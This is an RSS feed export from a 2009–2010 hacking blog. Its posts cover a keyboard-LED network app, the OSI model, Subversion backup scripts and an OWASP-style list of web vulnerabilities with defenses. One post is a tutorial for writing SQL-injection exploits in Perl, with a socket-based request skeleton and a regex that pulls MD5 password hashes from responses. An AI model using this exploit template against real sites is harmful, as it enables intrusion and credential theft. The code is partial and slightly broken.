<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; networking</title>
	<atom:link href="http://www.hacking-gurus.net/tag/networking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Mon, 26 Apr 2010 07:25:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Turn your keyboard LEDs into network activity indicators with a free app</title>
		<link>http://www.hacking-gurus.net/2009/12/07/turn-your-keyboard-leds-into-network-activity-indicators-with-a-free-app/</link>
		<comments>http://www.hacking-gurus.net/2009/12/07/turn-your-keyboard-leds-into-network-activity-indicators-with-a-free-app/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 18:39:17 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Hacking-Gurus]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Activity Indicators]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Keyboard Leds]]></category>
		<category><![CDATA[Keyboards]]></category>
		<category><![CDATA[networking]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=174</guid>
		<description><![CDATA[
		
		
		
		Since we talk about hacking, how about a little desktop/networking hack &#8211; how cool is to have your LEDs on keyboards to blink as you transfer data on network   Try Network Lights and let us know. Windows Only.
]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/12/07/turn-your-keyboard-leds-into-network-activity-indicators-with-a-free-app/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Turn+your+keyboard+LEDs+into+network+activity+indicators+with+a+free+app";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Since we talk about hacking, how about a little desktop/networking hack &#8211; how cool is to have your LEDs on keyboards to blink as you transfer data on network   Try Network Lights and let us know. Windows Only.";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Since we talk about hacking, how about a little desktop/networking hack &#8211; how cool is to have your LEDs on keyboards to blink as you transfer data on network <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Try <a href="http://www.itsamples.com/network-lights.html" target="_blank">Network Lights</a> and let us know. Windows Only.</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=174&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/12/07/turn-your-keyboard-leds-into-network-activity-indicators-with-a-free-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSI Model Explained..</title>
		<link>http://www.hacking-gurus.net/2009/09/22/osi-model-explained/</link>
		<comments>http://www.hacking-gurus.net/2009/09/22/osi-model-explained/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 15:11:46 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[osi]]></category>
		<category><![CDATA[session]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=152</guid>
		<description><![CDATA[
		
		
		
		
]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/09/22/osi-model-explained/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "OSI+Model+Explained..";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><img class="aligncenter" src="http://img139.imageshack.us/img139/9465/68osiexplim1.gif" alt="" width="712" height="1040" /></p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=152&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/09/22/osi-model-explained/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subversion Backup and Restore</title>
		<link>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/</link>
		<comments>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 17:30:58 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[shell script]]></category>
		<category><![CDATA[subversion]]></category>
		<category><![CDATA[svn]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=92</guid>
		<description><![CDATA[
		
		
		
		

Hello guys ,
i hope most of you have subversion installed and running , and you might have got chance        to  take backup of you subversion repositories.
i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you  [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Subversion+Backup+and+Restore";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello guys ,i hope most of you have subversion installed and running , and you might have got chance        to  take backup of you subversion repositories.i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you ...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><img class="alignleft size-thumbnail wp-image-93" title="subversion ogo" src="http://www.hacking-gurus.net/wp-content/uploads/2009/04/subversion_logo-384x332-150x150.png" alt="subversion ogo" width="150" height="150" /></p>
<p><span id="more-92"></span></p>
<p>Hello guys ,</p>
<p>i hope most of you have subversion installed and running , and you might have got chance        to  take <strong>backup</strong> of you subversion repositories.</p>
<p>i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you  need is to change path for backup place and your repositores folder and then enjoy while this script take backup of each repository automatically it saves a lot of time.</p>
<p>Download Both scripts :</p>
<p><a href="http://www.hacking-gurus.net/downloads/backup.sh" target="_self">Backup.sh</a></p>
<p><a href="http://www.hacking-gurus.net/downloads/restore.sh">Restore.sh</a></p>
<p><strong>Below is step by step procedure on how to use this script :</strong></p>
<p><strong>Please if you modify it don&#8217;t remove my name or links</strong></p>
<p>Step 1 ) upload <em>backup.sh</em> to you subversion server ,</p>
<p>Step 2) configure backup.sh according to your server requirements</p>
<p>Step 3) modify permissions for script using :</p>
<p><em>chmod +x backup.sh</em></p>
<p>Step 4) start the backup using : (* you should have permissions to directories on server where your repo exists)</p>
<p><em>sh backup.sh</em></p>
<p>Step 5) check backup logs using :</p>
<p><em>tail -f  {logfilepathhere}</em></p>
<p>Step 6)  Now Backup completed <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  so you can compress backups files using :</p>
<p><em>tar cfz subversion_backup.tar.gz /home/svn/backups/full</em></p>
<p>Step 7) Move backup to new server where you want to take your svn or to some safe place</p>
<p>Step <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Start the restore process &amp; upload restore.sh</p>
<p>Step 9) config paths in restore.sh as in step 2</p>
<p>Step 10) change permission of it using :</p>
<p><em>chmod +x restore.sh</em></p>
<p>Step 11)<em> </em>Execute the restore script :</p>
<p><em> sh restore.sh</em></p>
<p>Step 12) Every thing is restored you may go to bed for sleep now <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Enjoy the script and do post your feedback , if anyone need subversion installation or backup or any other professional service you may contact me adeel.ahmad+hackinggurus<strong> at </strong>networkncc.com .</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=92&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 Reasons Websites get hacked</title>
		<link>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/</link>
		<comments>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 18:42:35 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=82</guid>
		<description><![CDATA[
		
		
		
		1. Cross site scripting (XSS)
The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "10+Reasons+Websites+get+hacked";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "1. Cross site scripting (XSS)The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites,...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong>1. Cross site scripting (XSS)</strong></p>
<p>The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.</p>
<p><span id="more-82"></span></p>
<p>Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.</p>
<p>Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.</p>
<p>How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.</p>
<p><strong><br />
2. Injection flaws</strong></p>
<p>The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”</p>
<p>Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.</p>
<p>How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.</p>
<p><strong>3. Malicious file execution</strong></p>
<p>The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.</p>
<p>Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.</p>
<p>How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.</p>
<p><strong>4. Insecure direct object reference</strong></p>
<p>The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.</p>
<p>Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.</p>
<p>“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”</p>
<p>Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.</p>
<p>How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them</p>
<p><strong><br />
5. Cross site request forgery</strong></p>
<p>The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.</p>
<p>“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”</p>
<p>Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.</p>
<p>How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes. 		<!-- / message --></p>
<p><strong>6. Information leakage and improper error handling</strong></p>
<p>The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.</p>
<p>“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.</p>
<p>Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.</p>
<p>How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.</p>
<p><strong><br />
7. Broken authentication and session management</strong></p>
<p>The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.</p>
<p>“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.</p>
<p>Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.</p>
<p>How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.</p>
<p>Another tip: get rid of custom cookies used for authentication or session management.</p>
<p><strong>8. Insecure cryptographic storage</strong></p>
<p>The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.</p>
<p>“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.</p>
<p>Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.<br />
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.</p>
<p>Furthermore, generate keys offline, and never transmit private keys over insecure channels.</p>
<p><strong><br />
9. Insecure communications</strong></p>
<p>The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.</p>
<p>Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.</p>
<p>“The $17.4-billion retailer&#8217;s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.</p>
<p>How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.</p>
<p><strong><br />
10. Failure to restrict URL access</strong></p>
<p>The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.</p>
<p>The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.</p>
<p>Real-world example: A hole on the Macworld Conference &amp; Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.</p>
<p>How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=82&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Writing SQL Injection exploits in Perl</title>
		<link>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:30:22 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[explots]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perl exploits]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=62</guid>
		<description><![CDATA[
		
		
		
		[1] Introduction
[2] Little panning of Perl language used into an internet context
[3] Perl SQL Injection by examples
[4] Gr33tz to &#8230;

&#8212;+&#8212; StArT
[1] Introduction
Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot
of operation across the internet just writing a litlle bit of code. So [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Writing+SQL+Injection+exploits+in+Perl";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = " Introduction Little panning of Perl language used into an internet context Perl SQL Injection by examples Gr33tz to &#8230;&#8212;+&#8212; StArT IntroductionPerl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lotof operation across the internet just writing a litlle bit of code. So...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>[1] Introduction<br />
[2] Little panning of Perl language used into an internet context<br />
[3] Perl SQL Injection by examples<br />
[4] Gr33tz to &#8230;</p>
<p><span id="more-62"></span></p>
<p>&#8212;+&#8212; StArT</p>
<p>[1] Introduction</p>
<p>Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot<br />
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an<br />
easiest life to everyone who decide to start writing a perl exploit.<br />
There are few requisites u need to proceed:<br />
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc&#8230;);<br />
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc&#8230;).</p>
<p>Now, we are ready to start&#8230;</p>
<p>[2] Little panning of Perl language used into an internet context</p>
<p>Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the<br />
server side (or other..). To make this u need to use some &#8220;Perl modules&#8221;.<br />
Those modules must be put on the head of the script. In this tut we are going to use only the &#8220;IO::Socket&#8221; module, but<br />
there are thousand and if u are curious just search on cpan to retrieve info on every module.</p>
<p>[-] Using the IO::Socket module<br />
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting<br />
of the script &#8220;use IO::Socket&#8221;. With this module u&#8217;ll be able to connect to every server defined previously, using<br />
a chomp, look at the example.</p>
<p>Example:<br />
print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this<br />
host. To do this, we must create a new sock that will be used by the interpreter to connect.<br />
To create this we are going to write something like this:</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new<br />
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp<br />
($host=www.fbi.gov).<br />
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").<br />
Resume:<br />
- Proto=&gt;TCP -------&gt; The protocol to use (TCP/UDP)<br />
- PeerAddr=&gt; -------&gt; The server/host to connect<br />
- PeerPort=&gt; -------&gt; Port to use for the connection</p>
<p>Ok, now let's go to the next step, which is the real hearth of this tut.</p>
<p>[3] Perl SQL Injection</p>
<p>Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.</p>
<p>The SQL code must be treaty like a normal variable (like &#8220;$injection&#8221;).</p>
<p>Example:<br />
$injection=index.php/forum?=[SQL_CODE]</p>
<p>This string means that we are going to inject the query into &#8220;index.php/forum&#8221; path, following the correct syntax that<br />
will bring us to cause a SQL Injection &#8220;?=&#8221;.</p>
<p>Now we must create a piece of code that will go to inject this query into the host vuln.</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;</p>
<p>This piece of code is the most important one into the building of an exploit.<br />
It can be considered the &#8220;validation&#8221; of the connection.<br />
In this case the &#8220;print&#8221; command doesn&#8217;t show anything on screen, but it creates a dialogue and sends commands to the host.</p>
<p>In the first line the script will send a &#8220;GET&#8221; to the selected page defined into &#8220;$injection&#8221;.<br />
In the third line it tells to the host &#8220;who/what&#8221; is making the request of &#8220;GET&#8221;. In this case this is Hacker, but it<br />
can be &#8220;Mozilla/5.0 Firefox/1.0.4&#8243; or other.<br />
In the fourth line it defines the host to connect to, &#8220;$host&#8221;.</p>
<p>With the execution of this script we have made our injection.</p>
<p>Resume of the exploit:</p>
<p>use IO::Socket</p>
<p>print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>$injection=index.php/forum?=[SQL_CODE]</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;<br />
close ($sock); #this line terminates the connection</p>
<p>A little trick:</p>
<p>Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.<br />
Additionally, u want that your script will show the PWD on your screen.<br />
Well, to make this, the next piece of code, could be one of the possible solutions.</p>
<p>while($answer = &lt;$sock&gt;) {<br />
if ($answer =~ /([0-9a-f]{32})/) {<br />
print &#8220;]+[ Found! The hash is: $1n&#8221;;<br />
exit(); }</p>
<p>This string means that if the answer of the host will show a &#8220;word&#8221; made by 32 characters (&#8221;0&#8243; to &#8220;9&#8243; and &#8220;a&#8221; to &#8220;f&#8221;),<br />
this word must be considered the MD5 Hash PWD and it must be showed on screen.</p>
<p>Conclusions:<br />
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.<br />
U could use also the module &#8220;LWP::Simple&#8221; in the place of &#8220;IO::Socket&#8221;, but u should change something into the code.<br />
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=62&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MySQL: Secure Web Apps &#8211; SQL Injection techniques</title>
		<link>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/</link>
		<comments>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 21:14:39 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql injections]]></category>
		<category><![CDATA[user]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web app]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=55</guid>
